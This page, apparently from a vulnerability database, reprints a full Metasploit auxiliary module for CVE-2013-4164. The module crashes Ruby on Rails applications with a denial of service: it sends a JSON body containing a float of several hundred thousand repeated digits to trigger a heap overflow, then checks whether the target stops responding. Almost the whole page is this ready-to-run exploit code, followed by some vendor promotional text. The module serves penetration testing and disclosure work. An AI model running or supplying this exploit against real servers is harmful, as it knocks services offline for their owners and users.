Lucene search
K

Ruby on Rails JSON Processor Floating Point Heap Overflow DoS

🗓️ 22 Nov 2013 22:51:02Reported by Charlie Somerville, joev <[email protected]>, todb <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 22 Views

Ruby on Rails JSON Processor Floating Point Heap Overflow DoS. Ruby attempts to convert large floating point decimal numbers to its floating point equivalent, triggering a heap-based buffer overflow on Ruby on Rails applications using Ruby version 1.9.3-p448 and other versions, causing a segfault error

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ruby on Rails JSON Processor Floating Point Heap Overflow DoS',
      'Description'    => %q{
        When Ruby attempts to convert a string representation of a large floating point
        decimal number to its floating point equivalent, a heap-based buffer overflow
        can be triggered. This module has been tested successfully on a Ruby on Rails application
        using Ruby version 1.9.3-p448 with WebRick and Thin web servers, where the Rails application
        crashes with a segfault error. Other versions of Ruby are reported to be affected.
      },
      'Author'         =>
        [
          'Charlie Somerville', # original discoverer
          'joev', # bash PoC
          'todb', # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2013-4164' ],
          [ 'OSVDB', '100113' ],
          [ 'URL', 'https://www.ruby-lang.org/en/news/2013/11/22/ruby-1-9-3-p484-is-released/' ]
        ],
      'DisclosureDate' => '2013-11-22'))
    register_options(
      [
        OptString.new('TARGETURI', [false, 'The URL of the vulnerable Rails application', '/']),
        OptString.new('HTTPVERB', [false, 'The HTTP verb to use', 'POST'])
      ])
  end

  def uri
    normalize_uri(target_uri.path.to_s)
  end

  def verb
    datastore['HTTPVERB'] || 'POST'
  end

  def digit_pattern
    @digit_pattern ||= rand(10_000).to_s
  end

  def integer_part
    digit_pattern
  end

  def multiplier
    (500_000 * (1.0/digit_pattern.size)).to_i
  end

  def fractional_part
    digit_pattern * multiplier
  end

  # The evil_float seems to require some repeating element. Maybe
  # it's just superstition, but straight up 300_002-lenth random
  # numbers don't appear to trigger the vulnerability. Also, these are
  # easier to produce, and slightly better than the static "1.1111..."
  # for 300,000 decimal places.
  def evil_float_string
    [integer_part,fractional_part].join('.')
  end

  def run
    print_status "Using digit pattern of #{digit_pattern} taken to #{multiplier} places"
    sploit = '['
    sploit << evil_float_string
    sploit << ']'
    print_status "Sending DoS HTTP#{datastore['SSL'] ? 'S' : ''} #{verb} request to #{uri}"
    target_available = true

    begin
      res = send_request_cgi(
        {
          'method'  => verb,
          'uri'     => uri,
          'ctype'   => "application/json",
          'data'    => sploit
        })
    rescue ::Rex::ConnectionRefused
      print_error "Unable to connect. (Connection refused)"
      target_available = false
    rescue ::Rex::HostUnreachable
      print_error "Unable to connect. (Host unreachable)"
      target_available = false
    rescue ::Rex::ConnectionTimeout
      print_error "Unable to connect. (Timeout)"
      target_available = false
    end

    return unless target_available

    print_status "Checking availability"
    begin
      res = send_request_cgi({
        'method' => verb,
        'uri' => uri,
        'ctype' => "application/json",
        'data' => Rex::Text.rand_text_alpha(1+rand(64)).to_json
      })
      if res and res.body and res.body.size > 0
        target_available = true
      else
        print_good "#{peer}#{uri} - DoS appears successful (No useful response from host)"
        target_available = false
      end
    rescue ::Rex::ConnectionError, Errno::ECONNRESET
      print_good "DoS appears successful (Host unreachable)"
      target_available = false
    end

    return unless target_available

    print_error "Target is still responsive, DoS was unsuccessful."

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation